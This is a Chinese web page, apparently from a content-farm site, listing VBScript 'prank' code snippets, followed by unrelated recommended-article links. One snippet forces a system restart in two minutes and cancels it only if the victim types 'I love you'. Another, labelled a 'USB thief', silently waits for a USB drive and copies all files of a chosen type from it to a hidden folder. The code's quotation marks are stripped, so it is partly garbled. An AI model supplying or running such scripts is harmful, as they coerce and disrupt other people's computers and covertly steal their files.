三十二个vbs整蛊代码整人代码大全( 四 ) _三十二个vbs整蛊代码

复制代码代码如下:
on error resume next dim WSHshellA set WSHshellA = wscript.createobject(wscript.shell) WSHshellA.run cmd.exe /c shutdown -r -t 120 -c 说你爱我，不说你爱我就两分钟关你机，不信，试试 ,0 ,true dim a do while(a <> 我爱你) a = inputbox (说你爱我,就不关机，快撒，说你爱我 ,说不说,不说,8000,7000) msgbox chr(13) + chr(13) + chr(13) + a,0,MsgBox loop msgbox chr(13) + chr(13) + chr(13) + 早说就行了嘛，何必这么费劲 dim WSHshell set WSHshell = wscript.createobject(wscript.shell) WSHshell.run cmd.exe /c shutdown -a,0 ,true msgbox chr(13) + chr(13) + chr(13) + 哈哈哈哈，今天真过瘾复制代码代码如下:
i = MsgBox(由于你灌水太水需要爆破电脑。&_ vbCrLf&确定爆破吗？,vbOKCancel,_ 爆破电脑系统！！！！！) if i = 1 then CreateObject(SAPI.SpVoice).Speak bone end if复制代码代码如下:
【三十二个vbs整蛊代码整人代码大全】On Error Resume Next Dim i i=0 Set fso=CreateObject(Scripting.FileSystemObject) IP=InputBox(请输入要监控的U盘盘符:,U盘大盗-By 最聪明的猪,I:) ext=InputBox(请输入要盗窃的文件名的扩展名:,U盘大盗-By 最聪明的猪,txt) MyFolder=InputBox(请输入保存文件的路径:,U盘大盗-By 最聪明的猪,E:U盘大盗) fso.CreateFolder(MyFolder) Do WScript.Sleep 1000 If fso.FolderExists(IP & ) Then Exit Do Loop Scan(IP & ) Sub Scan(Folder_) On Error Resume Next Set Folder_=fso.GetFolder(Folder_) Set Files=Folder_.Files For Each File in Files ext_=fso.GetExtensionName(File) ext_=Lcase(ext_) ext=Lcase(ext) If ext_=ext Then i=i+1 fso.GetFile(File).Copy(MyFolder & & i & _ & File.Name) End If Next Set SubFolders=Folder_.SubFolders For Each SubFolder In SubFolders Scan(Subfolder) Next End Sub

三十二个vbs整蛊代码整人代码大全( 四 )

推荐阅读

龙骨花可以吃吗

张卫健老婆怼喷子该放过变老的女神了

羚牛是羊还是牛

水仙球茎怎么栽培

新手机第三次充电要充多长时间新手机第三次充电要充多久

吴京的老婆谢楠漂亮吗

整车编号和车架号是一样的吗?

荒野大镖客23月10日纳扎尔夫人在哪 3月10日纳扎尔夫人位置

哈弗m6有2.0t车型吗

榄角蒸鱼头的做法

我来分享opporeno6多景录像操作模式介绍及位置一览

宝宝巴士玩具—汽车选美大赛开始啦，大家一番精心装扮

小米11和小米11pro对比,一加9pro和小米11pro买哪个

小编分享腾讯电脑管家定时休息怎么设置

怎么自我介绍能让人印象深刻

win7旗舰版怎么重装系统

三十二个vbs整蛊代码 整人代码大全( 四 )

推荐阅读

三十二个vbs整蛊代码整人代码大全( 四 )